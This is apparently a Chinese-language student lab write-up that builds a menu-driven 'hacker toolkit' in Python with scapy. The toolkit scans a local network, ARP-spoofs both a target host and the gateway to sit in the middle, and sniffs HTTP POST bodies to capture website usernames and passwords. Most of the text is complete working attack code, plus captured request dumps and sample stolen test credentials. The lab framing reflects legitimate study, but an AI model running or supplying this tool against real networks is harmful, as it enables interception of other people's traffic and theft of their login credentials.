实验环境:攻击者:物理机win7;被攻击者:虚拟机Windows 2008,两者使用桥接模式,使其同处一个局域网下;
实验目的:使用物理机win7去攻击虚拟机Windows2008 ,并获取用户在Windows2008上登录某网站的用户名和密码信息;实现对信息的嗅探。
实验原理:要获取被被攻击者登录某网站的用户名和密码信息,就需要了解上网一般使用的是应用层的http协议。
HTTP 请求主要有两种方法:GET 和 POST
GET - 从指定的资源请求数据。
POST - 向指定的资源提交要被处理的数据
所以,此次实验主要针对的是http请求中的post方法;
实验步骤
(1) 使用scapy模块扫描出局域网内的活跃的主机,打印出IP地址和MAC地址;
(2) ARP欺骗分两种,一是主机型欺骗,而是网关型欺骗;
(3) 选择局域网内的某个主机进行ARP欺骗,使被攻击者认为我就是网关;
(4) 再去欺骗网关,我是被攻击者,实现双向欺骗,使自己位于网关和被攻击者间的透明中继;
(5) 对抓取到的登录网站的数据包进行分析,获取需要的用户名和密码信息;
>>>
(6) scapy对应用层的数据包不能准确识别,智能用Raw替代;所以,我们需要先获取Raw中的load信息;
b'POST /Default2.aspx HTTP/1.1\r\nHost: 202.200.112.210\r\nConnection: keep-alive\r\nContent-Length: 212\r\nCache-Control: max-age=0\r
/202.200.112.210\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Window
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/
webp,image/apng,*/*;q=0.8\r\nReferer: http://202.200.112.210/\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\n
SessionId=folxrbq0arm5jdmbuwoidz55\r\n\r\n__VIEWSTATE=dDwtNTE2MjI4MTQ7Oz74%2FgDxTawfZAV831VtlWiI90NFVg%3D%3D&__VIEWSTATEGENERATOR=9271
=1&Textbox1=&TextBox2=&txtSecretCode=&RadioButtonList1=%D1%A7%C9%FA&Button1=&lbLanguage=&hidPdrs=&hidsc='
(7) 可以发现load中的信息为二进制流,需要对其进行解码;使用 p.load.decode(encoding='utf-8',errors='ignore') 来实现;
'POST /Default2.aspx HTTP/1.1\r\nHost: 202.200.112.210\r\nConnection: keep-alive\r\nContent-Length: 212\r\nCache-Control: max-age=0\r\
202.200.112.210\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/x
ebp,image/apng,*/*;q=0.8\r\nReferer: http://202.200.112.210/\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nC
essionId=folxrbq0arm5jdmbuwoidz55\r\n\r\n__VIEWSTATE=dDwtNTE2MjI4MTQ7Oz74%2FgDxTawfZAV831VtlWiI90NFVg%3D%3D&__VIEWSTATEGENERATOR=92719
1&Textbox1=&TextBox2=&txtSecretCode=&RadioButtonList1=%D1%A7%C9%FA&Button1=&lbLanguage=&hidPdrs=&hidsc='
(8) 接下来就是对解码后的信息进行字符串处理,获取上网的网址和账户信息;
代码如下:
#局域网黑客工具集
from scapy.all import *
import os
import time
from threading import Thread
#扫描——-->本机ip和网关
gw='' #定义网关
wifi = 'Realtek 8821AE Wireless LAN 802.11ac PCI-E NIC' #本机网络接口
#扫描局域网,显示活跃主机
def scan():
global gw
for line in os.popen('route print'):
s=line.strip() #去掉每行的空格
if s.startswith('0.0.0.0'):
slist=s.split()
ip=slist[3]
gw=slist[2]
break
print('本机上网的IP是:',ip)
print('本机上网的网关是:', gw)
tnet=gw+'/24' #本网络
#构造一个ARP广播包,向整个网络的每台主机发起ARP广播
p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
#ans 表示收到的包的回复
ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)
print("一共扫描到%d台主机:" % len(ans))
#将需要的IP地址和Mac地址存放在result列表中
result = []
for s, r in ans:
# 解析收到的包,提取出需要的IP地址和MAC地址
result.append([r[ARP].psrc, r[ARP].hwsrc])
result.sort()
#打印出活跃主机的IP地址和MAC地址
for ip, mac in result:
print(ip, "------>", mac)
#密码
def showpwd(p):
#应用层的数据包使用scapy显示的是Raw
if p.haslayer(Raw):
try:
data=p.load.decode(encoding='utf-8',errors='ignore')
#两种 HTTP 请求方法:GET 和 POST
# GET - 从指定的资源请求数据。
# POST - 向指定的资源提交要被处理的数据
if data.startswith("POST"):
print("登录此网站的时间为:",time.strftime("%Y%m%d %H:%M:%S"))
# 观察数据,将应用层的信息以\r\n\r\n进行分割;
head,txt=data.split("\r\n\r\n")
#再将前半部分按照换行进行分割;
hlist=head.split('\r\n')
for line in hlist:
#寻找主机(网址)
if line.startswith('Host'):
url="http://"+line.split()[-1]
break
print("访问的网站为:",url)
print("网站的登录信息为:\n",txt)
except:
pass
#抓包
def capture(target,t):
#过滤条件
tj="tcp port 80 and host "+target
pkts=sniff(iface=wifi,filter=tj,prn=showpwd,timeout=t)
#将获取到的包进行保存
fname="p%d.pacp"%int(time.time())
wrpcap(fname,pkts)
print("抓包数据已存入文件%s"%fname)
#ARP攻击
def spoof():
target=input("请输入攻击目标:")
t=int(input("请输入攻击时间(S):"))
ct=Thread(target=capture,args=(target,t))
ct.start()
for i in range(2*int(t)):
# 构造欺骗数据包,告诉被攻击者,我是网关(双向欺骗)
sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=target, psrc=gw),verbose=0)
# 构造欺骗数据包,告诉网关,我是被攻击者
sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=gw, psrc=target),verbose=0)
time.sleep(0.5)
ct.join()
print("攻击结束!")
def main():
print("==================欢迎使用橘子女侠的黑客工具!===================")
while 1:
sel=input("请选择要进行的操作:1.局域网扫描,2.ARP攻击和获取上网信息,3.退出\n")
#局域网扫描
if sel=='1':
scan()
#ARP欺骗和攻击,并获取被攻击者的上网信息(用户名和密码)
elif sel=='2':
if not gw:
print("请先执行扫描程序")
else:
spoof()
elif sel=='3':
print("欢迎下次使用,再见!")
break
else:
print("输入有误,请重新输入!")
if __name__=="__main__":
main()
结果如下:
运行代码,然后选择Windows2008进行攻击,可以获取到Windows2008的上网信息;
登录的网站为http://mail.xjtu.edu.cn/
用户名为123456,密码为123456;
再次进行尝试,登录的网站为http://202.200.112.210/
用户名为123456789 密码为111111 验证码为2222